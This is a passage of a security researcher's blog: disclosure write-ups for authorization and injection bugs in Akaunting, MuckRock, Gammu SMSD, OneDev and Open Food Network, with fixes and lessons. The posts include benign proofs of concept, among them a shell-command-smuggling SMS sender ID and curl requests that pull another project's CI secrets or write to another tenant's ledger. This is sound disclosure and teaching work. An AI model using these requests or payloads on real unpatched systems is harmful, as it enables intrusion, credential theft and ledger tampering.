Proof of concept

I confirmed this end to end against the shipped release — the official akaunting/akaunting:3.1.21 image plus MariaDB, using Akaunting's own Docker compose. Everything below runs as U, a user with the built-in accountant role (role_id 4), in company 1. U is a genuine read-only account: it gets a 403 on /1/wizard, an admin-only page.

The target is deliberately benign — one synthetic invoice (INV-POC-001, status draft) with one linked £100 payment transaction (TXN-POC-001). The "payload" is a permission test, nothing more.

state BEFORE:  invoice id=1 status=draft ; transaction id=1 document_id=1 deleted_at=NULL

[CONTROL]  PUT /1/sales/invoices/1              -> HTTP 403   (update-sales-invoices — correctly denied)
[ATTACK]   GET /1/sales/invoices/1/cancelled    -> HTTP 302   (succeeds — no permission middleware)

state AFTER:   invoice id=1 status=cancelled
               transaction id=1 deleted_at=2026-06-13 02:38:12   <- linked payment record deleted

The control is the point. The same user, in the same session, is refused the normal update path (PUT → 403, because the read role lacks update-sales-invoices) and then cancels the invoice and destroys its payment transaction through a GET the framework never gated. One more, for the sibling verb:

[VARIANT]  (fresh draft INV-POC-002)
           GET /1/sales/invoices/2/sent          -> HTTP 302 ; status draft -> sent

Same shape on bills (/purchases/bills/{id}/cancelled, /received). A role provably barred from editing invoices could cancel them and delete their recorded payments.

The fix

The fix shipped in 3.2.0 — commit 80ef6d3b, message "Added missing permissions and security fixed..", 2026-07-12 — and it's the obvious one-liner: put the mark* verbs behind the same update- permission their CRUD siblings already require.

// app/Traits/Permissions.php — the update mapping, before:
$this->middleware('permission:update-'.$controller)->only('update','enable','disable');

// 3.2.0 adds the state-change verbs to that list, so markSent / markCancelled /
// markReceived now demand update-<controller> — and a read-only role gets a 403.

That is exactly the remediation I sent on June 13th, and it matches what RecurringInvoices was already doing. (I'm describing the change rather than pasting the byte-exact commit: I confirmed the commit, the fixed versions and the approach from public release metadata, not from a rebuilt-and-retested 3.2.0 image.)

Takeaways

An allowlist keyed on method name silently excludes every method you forget to name. The mapping in assignPermissionsToController is elegant, and it is the vulnerability: it defends the canonical CRUD verbs and nothing else. The moment someone adds markCancelled — a perfectly reasonable controller method — it lands outside the allowlist and ships ungated, with no error, no warning, nothing that looks wrong in review. If your framework binds authorization to names, every new method is an opt-out by default.

When a codebase already gates a verb in one place, grep for the same verb everywhere else. RecurringInvoices gated these behind update-sales-invoices. That single deliberate line is the project's own statement of intent — and it turns "is this by-design?" from an argument into a mechanical check: find the controller that does it right, then find the siblings that don't. That is how this was found, and it's a fifteen-minute audit in any RBAC app.

Read-only isn't read-only until every write path enforces it. The most dangerous account is often the one everyone assumes is safe. A role you hand out freely — the external accountant, the junior bookkeeper — is exactly the one worth pointing at your destructive endpoints.

Disclosure timeline

Date	Event
2026-06-12	Found during a source review of finance apps; live Docker PoC confirmed the same day (accountant role, DB before/after)
2026-06-13	Reported privately to `security@akaunting.com` per their SECURITY.md, coordinated disclosure, with full remediation guidance; CVE also requested via Snyk
2026-07-12	Fix lands — commit `80ef6d3b`, "Added missing permissions and security fixed..", 29 days after the report — and ships in 3.2.0
—	No reply and no advisory; a CVE has been requested and is pending

I never got a reply, so I can't prove cause and effect — but the fix that shipped is precisely the change I proposed, down to the permission it reuses.

Credit

Reported by Santosh Kumar Puppala — GitHub: @Santoshkumarpuppala, under coordinated disclosure. No CVE has been assigned yet; one has been requested.

If you run a Laravel app that maps permissions to controller-method names, go read that mapping and then list every public method on your mutating controllers. The methods that aren't in the map are your attack surface. That's the whole audit.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala

It checked the request, but it changed the composer: FOIA request takeover in MuckRock

Santosh Kumar Puppala — Sun, 16 Aug 2026 17:23:06 +0000

TL;DR

What: In MuckRock — the FOIA / public-records platform that runs muckrock.com and is self-hostable — a collaborator holding only the editor tier on a request could reassign that request's owner to any account on the platform, via POST action=change_owner.
Impact: The editor hands an embargoed public-records request to an account they control, and the account that filed it is locked out of its own request entirely — HTTP 404. CWE-269 / CWE-862. I score it CVSS v3.1 8.1 (High) (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) — that is my scoring; there is no advisory and no vendor rating, and a scorer who declines the confidentiality impact would land at 6.5.
Fixed: a one-line change on main, three days after I reported it. MuckRock publishes no tagged releases and deploys continuously from main, so there is no version number to point at. Reported by me, Santosh Kumar Puppala, under coordinated disclosure. No CVE has been assigned.

Why you should care

A lot of American public-records work runs through MuckRock. Journalists, researchers and ordinary citizens file FOIA requests on it, and requests can be embargoed — deliberately hidden while a story is still being reported. It is also multi-tenant in the most literal sense: independent requesters who compete with each other share one deployment.

FOIA requests are collaborative. You invite an editor onto a request so they can help chase an agency. That invitation is a trust decision, but it is a bounded one — you're granting help, not handing over the story.

This bug is what happens when the bound isn't enforced by the code that matters.

The setup

MuckRock's authorization lives in a rules.py predicate file — a clean, readable design. Two predicates matter here (four lines, gathered from across that file):

# muckrock/foia/rules.py
can_edit          = is_owner | is_editor | is_staff | is_proxy   # :200
can_edit_composer = is_owner_composer | is_staff                 # :229

add_perm("foia.change_foiarequest",  can_edit)                   # :232
add_perm("foia.change_foiacomposer", can_edit_composer)          # :257

Read those together and the intent is unambiguous. Editing a request is something editors may do. Editing the composer — the object that carries user, i.e. who owns this request — is reserved for the owner and staff. The codebase already knew ownership was a higher-privilege concept than editing. It wrote the rule down.

The other piece of the setup is how the request detail page handles POSTs:

# muckrock/foia/views/detail.py:388-394  (abridged)
action = getattr(detail_actions, request.POST.get("action", ""), None)
...
return action(request, self.foia)

There is no allowlist. Every callable in the detail_actions module is effectively a user-reachable endpoint, selected by an attacker-supplied string. That alone isn't the vulnerability, but it means the security of the page is only as strong as the weakest permission check inside that module — and nobody audits that module as an attack surface, because it doesn't look like a router.

The bug

Here is the action the string change_owner selects:

# muckrock/foia/views/detail_actions.py:511-521  (abridged)
has_perm = foia.has_perm(request.user, "change")
...
if not has_perm or not form.is_valid():
    return _get_redirect(...)
form.change_owner(request.user, [foia])

foia.has_perm(request.user, "change") resolves to foia.change_foiarequest — which is can_edit — which includes is_editor.

And here is what the form actually writes:

# muckrock/foia/forms/detail.py:105-134  (abridged)
user = ModelChoiceField(queryset=User.objects.all())
...
foia.composer.user = new_user
foia.composer.save()
...  # an audit note recording the change is written here

Two things to notice. First, the queryset is User.objects.all() — the new owner can be any account on the platform, not just an existing collaborator on the request. Second, the field being written is foia.composer.user. That is a composer mutation, governed by can_edit_composer — the predicate that deliberately excludes editors — and can_edit_composer is never consulted.

The gate checked the permission for the object it routed through; the write landed on a different object, with a stricter permission the codebase had already defined and simply never called.

That framing matters because it's what separates this from a design decision. If rules.py had no can_edit_composer, a maintainer could reasonably say "editors are trusted, this is intended." But the project's own permission model says owner mutations are owner-and-staff only. The check that enforces that rule exists. It just isn't on this path.

It's also the only such path. revoke_access — the other way to remove someone — edits the read/edit collaborator many-to-many sets, and composer.user is in neither of them. An editor cannot dislodge the owner any other way. change_owner isn't a redundant convenience; it's a unique escalation.

Proof of concept

I reproduced this end to end against shipped code (HEAD 817f134), driving the real FOIARequestDetail.post() → change_owner() → FOIAOwnerForm.change_owner() path with detail.py, detail_actions.py, forms/detail.py and rules.py unmodified. (The harness used MuckRock's own test settings and Django's test client, because login is delegated to a separate SSO service, and an unrelated private submodule was stubbed so Django would boot. Neither touches the permission logic under test.)

Five synthetic accounts, one embargoed request, deliberately benign — the "payload" is a permission test, nothing more:

A — owner of an embargoed request
B — editor collaborator, added via the owner-conferred add_editor path
C — an unrelated account, standing in for an account B controls
D — authenticated stranger, no role at all
E — read-only viewer on the request

B, authenticated as an editor only, posted action=change_owner with user=C. The response was a 302 to the same page — identical to the failure path, which is why the database is the real oracle (foia_foiacomposer):

composer_id | composer_owner_id | foia_id | embargo_status
1           | 1  (Account A)    | 1       | embargo    <- before
1           | 3  (Account C)    | 1       | embargo    <- after B's POST

Then the part that settles the impact: A requested her own embargoed FOIA request and got HTTP 404. has_perm(A, "view") was now False. She had not been demoted; she had been erased from the object.

The controls are what make the boundary precise:

Positive control — C, now the legitimate owner, transferred it back to A. The feature works correctly for an owner. The defect is the gate, not the function.
Negative control #1 — D (no role) is blocked earlier, at get_object(). 404, owner unchanged.
Negative control #2, the sharp one — E is a viewer: has_perm(E, "view") is True, so E reaches the same handler B did, but has_perm(E, "change") is False and the transfer is refused. Owner unchanged.

So the exploitable line falls exactly at the editor tier. Not "anyone who can see the request," not "any authenticated user" — specifically the collaboration tier the owner grants, which is the one the codebase said should not be able to do this.

One detail I enjoyed: the app writes its own audit note during the transfer, so the exploit signs its own name.

foia_foianote: author_id=2  "poc_editor_b (2) changed ownership of this request
                             from poc_owner_a (1) to poc_recipient_c (3)"

The fix

The fix that landed is one line — commit 9e6e82c1, 2026-07-21, one file, +1/−1, commit message "Fix sharing". It changes the gate to the one the codebase was already asking for: authorize against the object you're about to mutate.

- has_perm = foia.has_perm(request.user, "change")
+ has_perm = foia.composer.has_perm(request.user, "change")

foia.composer.has_perm(..., "change") resolves to can_edit_composer = is_owner_composer | is_staff, so editors are refused and owners are unaffected.

Two hardening changes would belong with it, and as far as I can tell were not part of that one-line commit: replace the getattr(detail_actions, action) dispatch with an explicit allowlist, and constrain FOIAOwnerForm.user to plausible targets rather than every account in the database.

MuckRock has no tagged releases — it deploys continuously from main, so "fixed in" here means "landed on main" rather than a version number. I confirmed the fix from the commit; I have not rebuilt a patched instance and re-run the PoC against it.

Takeaways

Authorize the object you mutate, not the object you routed through. The permission check and the write were on different models. That's an easy mistake in any ORM where a.b.c = x reads like one operation on a, and it's invisible to a reviewer skimming for "is there a permission check here?" — because there is one. It's just checking the wrong noun.

When a codebase defines two permissions for two tiers, grep every call site of the looser one. can_edit vs can_edit_composer is a documented intent. Any place that writes composer state while checking can_edit is, by the project's own standard, a bug. That's a mechanical audit you can run in minutes, and it generalizes: find the permission pair, then find the mismatched call sites.

getattr(module, user_input) dispatch quietly promotes a whole module into a router. Every function becomes reachable, and reviewers stop treating the module as an attack surface because it has no URL patterns. Siblings in that module — promote, demote, generate_key, withdraw — appear to share the same gate; I flagged them as leads rather than chasing them, which is exactly why variant sweeps are worth doing after any confirmed sink.

Disclosure timeline

Date	Event
2026-07-14	Found during source review; live PoC confirmed the same day (5-account harness, positive control + two negative controls)
2026-07-18	Reported by email to MuckRock's maintainers and general contact address under coordinated disclosure, with full remediation guidance
2026-07-21	One-line fix lands on `main` — commit `9e6e82c1`, "Fix sharing", one file, `+1/−1`. Three days after the report.
—	No CVE assigned

Credit

Reported by Santosh Kumar Puppala — GitHub: @Santoshkumarpuppala. My thanks to the MuckRock team, who run a genuinely important piece of public-interest infrastructure on a nonprofit budget, and who turned this around in three days.

If you maintain a Django app with a rules.py-style predicate file, go grep for the tighter predicate and check who's actually calling it. That's a fifteen-minute audit and it's how this one was found.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala

A text message that runs a command: OS command injection in Gammu SMSD (GHSA-9vjj-v46c-c5qf)

Santosh Kumar Puppala — Fri, 07 Aug 2026 15:53:47 +0000

TL;DR

What: Gammu SMSD — the daemon behind a huge number of SMS gateways, alerting rigs and 2FA senders — runs an operator-configured hook every time a text arrives. With the Files backend and RunOnReceive enabled, the SMS sender ID was escaped for use as a filename but not for the shell, and then appended to a /bin/sh -c command line. A sender ID containing shell metacharacters executed arbitrary commands as the gammu-smsd user.
Impact: Remote, unauthenticated code execution triggered by sending a text message. Commands run with the daemon's privileges. Missing neutralization of special elements in an OS command (CWE-78).
Fixed in: Gammu 1.43.3. Advisory GHSA-9vjj-v46c-c5qf, published 25 July 2026, rated High (8.1), credited to me as reporter. CVE requested, pending GitHub assignment.

Why you should care

Most command-injection bugs need the attacker to already be talking to your HTTP API. This one needs a phone number.

Gammu SMSD sits on the receiving end of a modem or GSM dongle. Hospitals use it for on-call paging, monitoring systems use it for SMS alerts, and plenty of small shops use it as the cheap half of a 2FA setup. A very common configuration is: store incoming messages as files (the Files backend), and run a script whenever one arrives (RunOnReceive) — to forward it, log it, or trigger something.

The input to that script comes from the outside world over the cellular network. The sender doesn't authenticate to anything. And on many networks the sender ID is an arbitrary alphanumeric string, not a phone number — that's how banks send texts that say "HSBC" instead of a number. Alphanumeric sender IDs are attacker-controllable, and they can carry the exact characters a shell treats as syntax.

That is the whole bug: a value from a text message reaches /bin/sh.

The setup

Gammu SMSD's Files backend writes each received message to a file whose name includes the sender. To keep that filename legal, it runs the sender ID through an escaping function first. Here is what that function removes, verified at the shipped tag v1.43.2:

// smsd/services/files.c — SMSDFiles_EscapeNumber()
// Replaces with '_' :  * < > : " / \ | ?  and control chars
// Leaves untouched   :  $  ` ;  &  (  )  space  — all valid in a GSM-7 sender ID

Look at the two sets. The characters it strips are the ones that would break a filename. The characters it leaves are the ones that matter to a shell: $, backtick, ;, &, (, ). The escaping was written to make a safe filename, and at that job it succeeds. It was never written to make a safe shell token, and nobody asked it to.

That distinction — safe for the filesystem, unsafe for the shell — is the entire finding.

The bug

The escaped sender ID goes into the filename:

// smsd/services/files.c — filename built from the escaped sender (buffer2)
sprintf(FileName, "IN%s_%s_%02d.txt", datetime, buffer2, msgcount);

The filename is then handed back to the core daemon as the "location" of the received message, and the core pastes it straight onto the hook command line:

// smsd/core.c — SMSD_RunOnCommand(), pre-fix
snprintf(result, len, "%s %s", command, locations);   // command = your RunOnReceive script; locations = the filename

And that string is executed through the shell:

// smsd/core.c — pre-fix
execl("/bin/sh", "sh", "-c", cmdline, NULL);

sh -c parses its argument as a shell command. So every $(...), backtick, ; and & that survived the filename escaping is now shell syntax. The filename IN..._$(id)_00.txt doesn't name a file — it runs id.

The "aha"

The sender ID was escaped for the place it was going to be stored, and then used somewhere else entirely. A sanitizer is only correct relative to the sink it was written for. This one guarded a filename and was then trusted at a shell — two different grammars, one value, no re-checking at the boundary between them.

Proof of concept (benign)

You do not need a modem to see it. The unsafe path is SaveInboxSMS → RunOnReceive, and it can be exercised with gammu-smsd-inject or by dropping a crafted message into the spool that a live SMS would produce. The safe, non-destructive marker is a sender ID whose "command" just writes a file:

# gammu-smsd configured with:  Service = files   RunOnReceive = /path/to/hook.sh
# A received message whose alphanumeric sender ID is:
#     x$(touch /tmp/gammu_poc)x
#
# The Files backend escapes it for the filename (the $, ( ) survive),
# the core appends the filename to the hook command, and /bin/sh evaluates it:

$ ls -la /tmp/gammu_poc
-rw-r--r-- 1 gammu-smsd gammu-smsd 0 ... /tmp/gammu_poc     # the command ran

The marker is touch, not anything harmful — the point is only that a substring of an incoming text message reached /bin/sh and executed. Swap touch for anything and it runs with the daemon's privileges.

Preconditions, stated honestly. This is why the advisory is High rather than Critical, and why the CVSS carries AC:H:

The daemon must use the Files backend and have RunOnReceive configured. Database backends use numeric row IDs, which have no shell metacharacters, so they are not affected.
The attacker must be able to deliver an SMS whose sender ID carries the metacharacters. Alphanumeric sender IDs make this feasible; a deployment that restricts accepted senders (IncludeNumbers) shrinks the surface, though sender IDs can be spoofed.

Neither precondition is exotic — Files + RunOnReceive is a documented, common setup — but they are real, and they belong in the writeup.

The fix

Fixed in 1.43.3 via PR #1129. The maintainer (Michal Čihař) did not add more escaping. He removed the shell's ability to see the value at all.

Before, the message identifiers were concatenated into the command string. After, the command runs with the identifiers passed as separate literal arguments, and the string the shell parses no longer contains them:

-   snprintf(result, len, "%s %s", command, locations);
+   snprintf(result, len, "%s \"$@\"", command);

-   execl("/bin/sh", "sh", "-c", cmdline, NULL);
+   /* argv = { "sh", "-c", command, "sh", location1, location2, ... } */
+   execv("/bin/sh", argv);

The command line the shell evaluates is now the fixed text your_command "$@". The received-message identifiers are handed to sh as positional parameters ($@) — data the shell expands into the argv of your hook, never text it parses as syntax. $(...) in a sender ID is now just characters in $1.

The locations string was also restructured from a hand-built space-joined buffer into a GSM_StringArray, so each identifier stays a distinct element instead of being flattened into one string that has to be re-split. Same idea, one layer down: keep the values as a list, never as a line to be re-parsed.

Windows gets a parallel fix — CreateProcess has no separate argv, so the patch rejects hook arguments containing cmd.exe metacharacters (" % ! ^ & | < > ( ) and control chars) rather than trying to quote them.

And the part I liked best: the PR ships a test that injects $(touch marker), backticks, ;, & and newlines through the real SMSD_RunOn path and asserts the marker file is never created. The fix comes with a regression test that fails on the original bug.

Takeaways

A sanitizer is only valid for the sink it was written for. Escaping-for-a-filename and escaping-for-a-shell are different problems with different character sets. The moment a value crosses from one context to another, the old guarantee is void — re-establish it at the new boundary or don't cross.
Don't hand untrusted data to sh -c as part of the command string. Pass it as arguments (execv with a real argv, or "$@") so the shell treats it as data, not syntax. This removes the entire bug class instead of playing character-blacklist whack-a-mole.
Remember the non-HTTP input paths. SMS, email headers, filenames, DNS, QR codes — anything that becomes a string in your process is input. This value arrived over the cellular network from an unauthenticated sender, and it still reached a shell.
The best fix narrows what the dangerous component can see. The maintainer didn't escape harder; he made sure the shell never received the value as code. Reducing what a sink is even capable of interpreting beats trying to enumerate everything bad.

Disclosure timeline

2026-07 — Reported to the Gammu maintainer via GitHub private vulnerability reporting, with the Files + RunOnReceive precondition and a benign marker PoC. Noted the escaping was correct for filenames and incomplete for the shell.
2026-07-25 — Advisory GHSA-9vjj-v46c-c5qf published, rated High 8.1, fix shipped in 1.43.3 (PR #1129), credited to me as reporter.
CVE — requested; GitHub assignment pending (typically a few weeks).

Credit / CTA

If you run Gammu SMSD, upgrade to 1.43.3+. If you can't yet and you use the Files backend, disable RunOnReceive or switch to a database backend as an interim measure — both are in the advisory's workarounds.

If you write anything that shells out: grep your codebase for system(, popen(, and sh -c, and for every hit ask where the arguments came from and what escaped them for what. That mismatch is where these live.

Santosh Kumar Puppala — AI/ML Platform Architect and security researcher (multiple CVEs; creator of Norviq & Veridor). GitHub: @Santoshkumarpuppala

The parent check passed, so the forks' secrets shipped anyway — cleartext CI/CD secrets in OneDev (GHSA-p3rv-f672-8x57)

Santosh Kumar Puppala — Fri, 07 Aug 2026 11:10:07 +0000

TL;DR

What: GET /~api/projects/{id}/forks in OneDev (self-hosted Git + CI/CD + issue tracker) authorized the parent project, then returned the raw Collection<Project> entity of its forks — and Jackson serialized every field, including each fork's cleartext CI/CD job secrets.
Impact: Anyone who can read the parent harvests the live deploy tokens / registry / cloud credentials of every fork — including private forks they have no access to. If the parent is a public project with anonymous access, it's unauthenticated. Missing authorization leading to information exposure (CWE-862 → CWE-200).
Fixed in: OneDev 16.0.0 (commit 1e902fdd). Advisory GHSA-p3rv-f672-8x57, published 7 August 2026, rated Moderate, credited to me as reporter. CVE requested and pending.

Why you should care

CI/CD job secrets are the crown jewels of a build system. They're not passwords a human types — they're the deploy tokens, container-registry logins, and cloud credentials your pipeline uses to push to production. A read-only information leak sounds unexciting until you notice what is being read: live credentials that grant write access somewhere else. That's how "just an info disclosure" turns into a foothold for real downstream compromise.

This one is also a good teaching case because nothing in the code looks wrong at a glance. There is an authorization check. It's just checking the wrong object. And the leak rides in on a serialization default that the endpoint author never thought about.

A note on severity

The published advisory rates this Moderate, and that is the number to quote. My own scoring was higher — 8.6, using CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N — and the whole difference sits in one metric: scope.

I set S:C because the data disclosed is credentials for other systems. The confidentiality loss doesn't stop at OneDev; a leaked deploy token spends just as well against your registry or your cloud account. Scored strictly against the vulnerable component alone, S:U and a Moderate rating are perfectly defensible.

I'm flagging the disagreement rather than quietly picking whichever number flatters the writeup. Reasonable people score credential disclosure differently, and the maintainer's rating is the one on the public record.

The setup

OneDev is a Java application (Apache Shiro for auth, JAX-RS for the REST layer, Jackson for JSON). Projects can be forked, and each project — parent or fork — carries its own buildSetting, which holds a list of jobSecrets. A JobSecret has a name and a value, and that value is the actual credential the CI job uses at runtime.

Forks are their own projects with their own permissions. I can be allowed to read a parent project while having zero access to a private fork of it. The REST API reflects that: GET /~api/projects/{forkId} on a fork I can't see returns 401/403. So far, correct.

The interesting endpoint is the one that lists a project's forks.

The bug

Here's the handler, verified at the shipped tag v15.1.6:

// ProjectResource.java:153-161
@GET
@Path("/{projectId}/forks")
public Collection<Project> getForks(@PathParam("projectId") Long projectId) {
    Project project = projectService.load(projectId);
    if (!SecurityUtils.canAccessProject(project))     // <-- checks the PARENT
        throw new UnauthorizedException();
    return project.getForks();                        // <-- raw Collection<Project> entity
}

Two decisions combine badly:

The authorization check is on project — the parent you named in the URL. There is no per-fork check. Once you can read the parent, the method trusts you with whatever it returns.
It returns the raw Collection<Project> entity — not a DTO. Every other project endpoint returns a ProjectData DTO with ~13 hand-picked fields and no buildSetting. This one hands back the persistence objects directly.

Now bring in Jackson's global configuration:

// ObjectMapperProvider.java:128-129
mapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY);

FIELD visibility set to ANY means every private field serializes unless it's explicitly ignored. So look at what's on Project:

// Project.java:423-425
@Lob
@Column
private ProjectBuildSetting buildSetting;   // no @JsonIgnore, not transient

buildSetting has no @JsonIgnore and isn't transient, so it serializes. It contains jobSecrets, and:

// JobSecret.java
private String name;
private String value;   // plain String — NOT encrypted at rest

@Secret
public String getValue() { return value; }   // @Secret is a UI display hint on the getter

The @Secret annotation is a UI convenience — it tells the web frontend to render a masked field. It lives on the getter, and under FIELD visibility Jackson reads the private value field directly and ignores the getter entirely. So the annotation that looks like it protects the secret does nothing here. The value is stored in cleartext and serialized in cleartext.

Five steps, start to finish:

The "aha"

The endpoint authorized the object you asked for, but leaked the objects it returned — and the one field everyone assumed was protected was only cosmetically masked.

Proof of concept (benign)

Confirmed live on 1dev/server:15.1.6. The whole thing is a marker, not a weapon — the "secret" is a string I set to supersecret123.

Setup: a parent project parent-proj (id 1) and a private fork fork-a (id 2, forkedFromId=1) that has one job secret, DEPLOY_TOKEN = supersecret123, set through the admin-only settings endpoint.

Low-privilege case — attacker granted Code Reader on the parent only, no access to the fork:

# Control: direct access to the fork is correctly denied
$ curl -su attacker:pw http://localhost:6610/~api/projects/2
HTTP/1.1 403 Forbidden

# The leak: list the parent's forks
$ curl -su attacker:pw http://localhost:6610/~api/projects/1/forks
HTTP/1.1 200 OK
[ { "id": 2, "name": "fork-a",
    "buildSetting": { "jobSecrets": [
      { "name": "DEPLOY_TOKEN", "value": "supersecret123" } ] } } ]

Unauthenticated case — parent is public with anonymous access enabled:

# Control: the fork itself, no auth
$ curl -s http://localhost:6610/~api/projects/2
HTTP/1.1 401 Unauthorized

# The leak, no credentials at all
$ curl -s http://localhost:6610/~api/projects/1/forks
HTTP/1.1 200 OK
[ ... "value": "supersecret123" ... ]

The asymmetry is the proof: the fork is denied directly (401/403), yet the same caller pulls the fork's live secret out through the parent's /forks. That value never appears in any DTO-based endpoint — it only escapes here.

The fix

The patch is commit 1e902fdd — "fix: Job secrets defined in forked projects may leak (OD-2822)" — shipped in OneDev 16.0.0. One file, three lines:

-    public Collection<Project> getForks(@PathParam("projectId") Long projectId) {
+    public Collection<ProjectData> getForks(@PathParam("projectId") Long projectId) {
         Project project = projectService.load(projectId);
         if (!SecurityUtils.canAccessProject(project))
             throw new UnauthorizedException();
-        return project.getForks();
+        return project.getForks().stream().map(ProjectData::from).collect(Collectors.toList());
     }

Note what did not change: the authorization check is still on the parent, and there is still no per-fork check. The fix is entirely on the serialization side — the return type goes from Collection<Project> to Collection<ProjectData>, so the endpoint hands back the same DTO its sibling endpoints already used. ProjectData has no buildSetting field, so there is nothing for Jackson to reach into regardless of who is asking.

That is a legitimate fix and arguably the better one. The parent check was never the problem; the problem was that a method with a correct-looking guard returned objects the guard had never evaluated. Narrowing the projection removes the leak at its source rather than adding a second check that a future refactor could drift away from.

Belt-and-suspenders hardening worth doing in any similar codebase: add @JsonIgnore to Project.buildSetting, and encrypt JobSecret.value at rest so a stray serialization is inert rather than catastrophic.

Takeaways

Authorize the data you return, not just the object you were handed. A check on the URL's target says nothing about the child records that ride along in the response. Every returned collection needs its own scoping.
Never serialize persistence entities from an API. DTOs aren't ceremony — they're an allowlist. The moment one endpoint returns a raw entity while its siblings return DTOs, that endpoint is leaking whatever fields got added to the entity since. Field-level Jackson visibility (Visibility.ANY) makes "add a field to the model" silently mean "expose a field in the API."
Getter-level annotations don't protect field-level serialization. @Secret on a getter looks like protection and isn't, once the serializer is configured to read fields. If a value must never leave the process in cleartext, encrypt it at rest — don't rely on a display hint.

Disclosure timeline

2026-06-13 — Found and confirmed with a live Docker PoC on 1dev/server:15.1.6 (both the unauthenticated and low-privilege cases).
2026-06-25 — Reported to the maintainer via coordinated disclosure, distinguishing it from the recent fork/project authorization CVEs (CVE-2026-11438/39/40/41), which are write-side authz fixed in 15.0.6 and did not cover this /forks read.
2026-06-26 — Maintainer confirmed, asked for a 30-day window, and committed to publishing an advisory.
16.0.0 — Fixed (commit 1e902fdd): getForks returns a DTO. The 15.x line remains affected.
2026-08-07 — Advisory GHSA-p3rv-f672-8x57 published, credited to me as reporter. CVE requested and pending.

Credit / CTA

If you run OneDev, upgrade to 16.0.0+ and rotate any job secrets on projects that had public or widely-readable parents. If you write APIs, grep your codebase for handlers that return entities instead of DTOs — that's where the next one of these lives.

Found something similar or want to compare notes on multi-tenant authz bugs? I'm always up for it.

Santosh Kumar Puppala — AI/ML Platform Architect and independent security researcher. GitHub: @Santoshkumarpuppala

They scoped the customer and forgot the customer's ledger — a High-severity cross-tenant BOLA in Open Food Network

Santosh Kumar Puppala — Fri, 07 Aug 2026 02:55:47 +0000

TL;DR

What: POST /api/v1/customer_account_transaction in Open Food Network authorized against the class, not the record. It took customer_id straight from the request body, so a manager of Enterprise A could create transactions against Enterprise B's customers — and read the resulting balance back.
Impact: Arbitrary credit/debit of another enterprise's customer ledger, plus disclosure of that customer's running balance. CWE-639 + CWE-862, CVSS 7.1 (High), integrity High.
The part I like: the parent Customer model was correctly scoped per enterprise. Only the child transaction wasn't. And a feature-flag removal in 5.7.1 quietly made the bug reachable on every instance.
Fixed in: OFN 5.7.4. Advisory GHSA-7cqp-qvh5-7x85, published 28 July 2026, credited to me as reporter. CVE pending.

Why you should care

Open Food Network is the software behind food hubs, farmer co-ops and buying groups in dozens of countries — small producers selling directly to the people who eat their food. An "enterprise" in OFN is a shop. A customer account transaction is money: the running balance a shop keeps for a regular customer, the store credit, the amount owed.

So this is not an abstract data-leak. One shop could reach into another shop's books and change what a customer owed, then read the new balance to confirm it worked. In a network of small businesses that trust a shared platform to keep their ledgers straight, that is about as direct a violation as you can get.

It is also a very ordinary bug. That is the point of writing it up.

The setup

OFN is Ruby on Rails, built on Spree, using CanCanCan for authorization. CanCanCan lets you declare abilities two ways, and the difference between them is the whole story here.

You can grant an ability on a class:

can :create, CustomerAccountTransaction

That says "this user may create transactions." Any transaction.

Or you can grant it with a scope:

can :update, Customer, enterprise_id: Enterprise.managed_by(user).pluck(:id)

That says "this user may update customers, but only those belonging to enterprises they manage." CanCanCan will enforce the condition when you authorize an actual record.

Both forms are one line. They look almost identical in a diff. They are not remotely the same.

The bug

Here is the ability grant, at app/models/spree/ability.rb:488-490:

def add_customer_account_transaction_abilities(_user)
  can [:admin, :create, :index], CustomerAccountTransaction
end

Look at the parameter: _user. The leading underscore is Ruby's convention for "I am deliberately ignoring this argument." The method receives the user and does nothing with it. The grant is class-wide, handed to anyone who satisfies can_manage_enterprises? — that is, anyone who manages at least one enterprise anywhere on the platform.

Then the controller, app/controllers/api/v1/customer_account_transaction_controller.rb:

def create
  authorize! :create, CustomerAccountTransaction   # <-- the CLASS, not the record
  ...
  transaction = CustomerAccountTransaction.new(customer_account_transaction_params)
end

def customer_account_transaction_params
  params.require(:customer_account_transaction).permit(:customer_id, :amount, :description)
end

authorize! is passed the class. It answers "may this user create transactions in general?" — yes — and never looks at which customer. The customer_id arrives in the request body and is used as-is.

The model then does the damage on the way in:

# app/models/customer_account_transaction.rb
before_create :update_balance

and the serializer hands the result back:

# app/serializers/api/v1/customer_account_transaction_serializer.rb
attributes :amount, :balance

So the write lands, the running balance is recomputed, and the new balance is returned in the response. Integrity impact and confidentiality impact in a single request.

The "aha"

Two things make this worth more than a shrug.

First, the guarded sibling. The parent object was scoped correctly all along, at ability.rb:434-435:

can [:admin, :index, :update, :destroy, :show], Customer,
    enterprise_id: Enterprise.managed_by(user).pluck(:id)

And CustomersController backs it with a per-object check plus Customer.visible.managed_by(current_api_user). Somebody thought carefully about customer isolation and implemented it properly.

They just did it on Customer and not on the transactions hanging off Customer. That asymmetry is the strongest evidence a finding is a genuine oversight rather than a design decision — when one sibling is guarded and the other isn't, nobody chose the gap. Whenever I audit an authorization model, the scoped resources are the map: the interesting question is always which of their children didn't inherit the scoping.

Second, and this one I did not expect: the bug got easier to reach over time. From the advisory:

For Version < 5.7.1 the v1 API needs to be enabled (api_v1 feature flag; off by default). In version 5.7.1 the api_v1 feature flag was removed. For >= 5.7.1 there is no precondition.

When I reported this, the /api/v1 surface sat behind a feature toggle that was off by default, which is a real mitigating factor — an admin had to switch it on per instance. Then 5.7.1 graduated the v1 API and deleted the flag. Perfectly reasonable release engineering. It also silently promoted a gated vulnerability into an ungated one on every upgraded instance, and nobody re-examined the endpoints behind the flag when the flag came down.

Removing a feature flag is a change in attack surface. It rarely gets reviewed like one.

Proof of concept (benign)

Two enterprises, A and B. Each has a manager and a customer. Authenticate as A's manager and post a transaction against B's customer:

curl -s -X POST http://localhost:3000/api/v1/customer_account_transaction \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $MANAGER_A_TOKEN" \
  -d '{"customer_account_transaction":
        {"customer_id": 2, "amount": 1.00, "description": "marker"}}'

HTTP/1.1 201 Created
{ "data": { "attributes": { "amount": "1.0", "balance": "1.0" } } }

Customer 2 belongs to Enterprise B. The manager authenticating here manages only Enterprise A. The 201 is the write; the balance in the response is the read.

